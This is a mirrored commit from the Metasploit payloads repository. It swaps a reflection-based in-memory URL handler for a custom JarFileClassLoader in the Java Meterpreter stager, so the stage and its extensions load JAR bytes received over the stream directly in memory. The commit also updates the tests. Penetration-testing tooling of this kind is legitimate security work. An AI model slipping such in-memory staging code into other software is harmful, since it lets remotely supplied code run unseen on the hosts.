1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-12 12:14:29 +01:00

Initial work to replace URL hack - manually parse a JAR file

This commit is contained in:
Ashley Donaldson 2023-09-08 16:35:13 +10:00
parent dcaad10486
commit b158f2c4e4
7 changed files with 67 additions and 159 deletions

View File

@ -0,0 +1,52 @@
package com.metasploit.meterpreter;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.HashMap;
import java.util.zip.ZipInputStream;
import java.util.zip.ZipEntry;
public class JarFileClassLoader extends ClassLoader {
HashMap<String, byte[]> classBytes = new HashMap();
public void addJarFile(byte[] jarFile) throws java.io.IOException {
ZipInputStream zipReader = new ZipInputStream(new ByteArrayInputStream(jarFile));
ZipEntry zipEntry;
while ((zipEntry = zipReader.getNextEntry()) != null) {
String name = zipEntry.getName();
String classSuffix = ".class";
if (name.endsWith(classSuffix)) {
ByteArrayOutputStream classStream = new ByteArrayOutputStream();
final byte[] classfile = new byte[10000];
int result;
while ((result = zipReader.read(classfile, 0, classfile.length)) != -1) {
classStream.write(classfile, 0, result);
}
String packagedName = name.replace("/",".").replace("\\",".").substring(0, name.length() - classSuffix.length());
classBytes.put(packagedName, classStream.toByteArray());
}
}
}
@Override
public Class findClass(String name) throws ClassNotFoundException {
byte[] classfile = classBytes.getOrDefault(name, null);
if (classfile == null) {
throw new ClassNotFoundException();
}
return defineClass(name, classfile, 0, classfile.length, null);
}
@Override
public Class loadClass(String name) throws ClassNotFoundException {
try {
return super.loadClass(name);
} catch (ClassNotFoundException e) {
return findClass(name);
}
}
}

View File

@ -1,108 +0,0 @@
package com.metasploit.meterpreter;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
/**
* An {@link URLConnection} for an URL that is stored completely in memory.
*
* @author mihi
*/
public class MemoryBufferURLConnection extends URLConnection {
private static List files;
static {
// tweak the cache of already loaded protocol handlers via reflection
try {
Field fld;
try {
fld = URL.class.getDeclaredField("handlers");
} catch (NoSuchFieldException ex) {
try {
// GNU Classpath (libgcj) calls this field differently
fld = URL.class.getDeclaredField("ph_cache");
} catch (NoSuchFieldException ex2) {
// throw the original exception
throw ex;
}
}
fld.setAccessible(true);
Map handlers = (Map) fld.get(null);
// Note that although this is a static initializer, it can happen
// that two threads are entering this spot at the same time: When
// there is more than one classloader context (e. g. in a servlet
// container with Spawn=0) and more than one of them is loading
// a copy of this class at the same time. Work around this by
// letting all of them use the same URL stream handler object.
synchronized (handlers) {
// do not use the "real" class name here as the same class
// loaded in different classloader contexts is not the same
// one for Java -> ClassCastException
Object /*MemoryBufferURLStreamHandler*/ handler;
if (handlers.containsKey("metasploitmembuff")) {
handler = handlers.get("metasploitmembuff");
} else {
handler = new MemoryBufferURLStreamHandler();
handlers.put("metasploitmembuff", handler);
}
// for the same reason, use reflection to obtain the files List
files = (List) handler.getClass().getMethod("getFiles", new Class[0]).invoke(handler, new Object[0]);
}
} catch (Exception ex) {
throw new RuntimeException(ex.toString());
}
}
/**
* Create a new URL from a byte array and its content type.
*/
public static URL createURL(byte[] data, String contentType) throws MalformedURLException {
synchronized (files) {
files.add(data);
return new URL("metasploitmembuff", "", (files.size() - 1) + "/" + contentType);
}
}
private final byte[] data;
private final String contentType;
protected MemoryBufferURLConnection(URL url) {
super(url);
String file = url.getFile();
int pos = file.indexOf('/');
synchronized (files) {
data = (byte[]) files.get(Integer.parseInt(file.substring(0, pos)));
}
contentType = file.substring(pos + 1);
}
@Override
public void connect() throws IOException {
}
@Override
public InputStream getInputStream() throws IOException {
return new ByteArrayInputStream(data);
}
@Override
public int getContentLength() {
return data.length;
}
@Override
public String getContentType() {
return contentType;
}
}

View File

@ -1,27 +0,0 @@
package com.metasploit.meterpreter;
import java.io.IOException;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.ArrayList;
import java.util.List;
/**
* An {@link URLStreamHandler} for a {@link MemoryBufferURLConnection}
*
* @author mihi
*/
public class MemoryBufferURLStreamHandler extends URLStreamHandler {
private List files = new ArrayList();
@Override
protected URLConnection openConnection(URL u) throws IOException {
return new MemoryBufferURLConnection(u);
}
public List getFiles() {
return files;
}
}

View File

@ -5,20 +5,24 @@ import java.io.OutputStream;
import java.net.URL;
import java.net.URLClassLoader;
import com.metasploit.meterpreter.MemoryBufferURLConnection;
import metasploit.Payload;
import com.metasploit.meterpreter.JarFileClassLoader;
/**
* Meterpreter Java Payload Proxy
*/
public class Meterpreter implements Stage {
public class Meterpreter implements Stage {
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
boolean noRedirectError = parameters[parameters.length - 1].equals("NoRedirect");
int coreLen = in.readInt();
byte[] core = new byte[coreLen];
in.readFully(core);
URL coreURL = MemoryBufferURLConnection.createURL(core, "application/jar");
new URLClassLoader(new URL[]{coreURL}, getClass().getClassLoader()).loadClass("com.metasploit.meterpreter.Meterpreter").getConstructor(new Class[]{DataInputStream.class, OutputStream.class, boolean.class, boolean.class}).newInstance(in, out, Boolean.TRUE, Boolean.valueOf(!noRedirectError));
JarFileClassLoader loader = new JarFileClassLoader();
loader.addJarFile(core);
Class meterpCore = loader.loadClass("com.metasploit.meterpreter.Meterpreter");
meterpCore.getConstructor(new Class[]{DataInputStream.class, OutputStream.class, boolean.class, boolean.class}).newInstance(in, out, Boolean.TRUE, Boolean.valueOf(!noRedirectError));
in.close();
out.close();
}

View File

@ -13,25 +13,10 @@ import java.util.zip.ZipEntry;
import junit.framework.Assert;
import junit.framework.TestCase;
import com.metasploit.meterpreter.MemoryBufferURLConnection;
import com.metasploit.meterpreter.MeterpDummy;
public class MeterpreterTest extends TestCase {
public void testMemoryBufferURLConnection() throws Exception {
final String CONTENT_TYPE = "application/x-unit-test-example";
byte[] randomData = new byte[4096];
new Random().nextBytes(randomData);
URL url = MemoryBufferURLConnection.createURL(randomData, CONTENT_TYPE);
URLConnection uc = url.openConnection();
uc.connect();
Assert.assertEquals(CONTENT_TYPE, uc.getContentType());
Assert.assertEquals(4096, uc.getContentLength());
ByteArrayOutputStream out = new ByteArrayOutputStream();
StreamForwarder.forward(uc.getInputStream(), out);
Assert.assertEquals(new String(randomData, "ISO-8859-1"), out.toString("ISO-8859-1"));
}
public void testMeterpreterStage() throws Exception {
// build dummy Meterpreter stage
ByteArrayOutputStream baos = new ByteArrayOutputStream();

View File

@ -39,7 +39,7 @@ import javax.crypto.spec.SecretKeySpec;
import junit.framework.Assert;
import junit.framework.TestCase;
import com.metasploit.meterpreter.MemoryBufferURLConnection;
import com.metasploit.meterpreter.JarFileClassLoader;
public class PayloadTest extends TestCase {
@ -159,7 +159,7 @@ public class PayloadTest extends TestCase {
return setUpClassLoader(metasploitDat, extraClass).loadClass("metasploit.Payload").getMethod("main", new Class[]{String[].class}).invoke(null, new Object[]{new String[0]});
}
private URLClassLoader setUpClassLoader(Properties metasploitDat, Class extraClass) throws Exception {
private JarFileClassLoader setUpClassLoader(Properties metasploitDat, Class extraClass) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
StreamForwarder.forward(Payload.class.getResourceAsStream(Payload.class.getSimpleName() + ".class"), baos);
byte[] payloadClass = baos.toByteArray(), instrumentedPayloadClass = null;
@ -197,7 +197,7 @@ public class PayloadTest extends TestCase {
jos.close();
byte[] payloadJar = baos.toByteArray();
final byte[] classToDefine = instrumentedPayloadClass;
return new URLClassLoader(new URL[]{MemoryBufferURLConnection.createURL(payloadJar, "application/jar")}) {
JarFileClassLoader jfcl = new JarFileClassLoader() {
{
if (classToDefine != null) {
defineClass(null, classToDefine, 0, classToDefine.length);
@ -227,6 +227,8 @@ public class PayloadTest extends TestCase {
return super.getResource(name);
}
};
jfcl.addJarFile(payloadJar);
return jfcl;
}
private void handleSocketCommunication(Socket socket) throws Exception {

View File

@ -292,8 +292,8 @@ public class Meterpreter {
public Integer[] loadExtension(byte[] data) throws Exception {
ClassLoader classLoader = getClass().getClassLoader();
if (loadExtensions) {
URL url = MemoryBufferURLConnection.createURL(data, "application/jar");
classLoader = new URLClassLoader(new URL[]{url}, classLoader);
JarFileClassLoader jarLoader = (JarFileClassLoader)classLoader;
jarLoader.addJarFile(data);
}
JarInputStream jis = new JarInputStream(new ByteArrayInputStream(data));
String loaderName = jis.getManifest().getMainAttributes().getValue("Extension-Loader");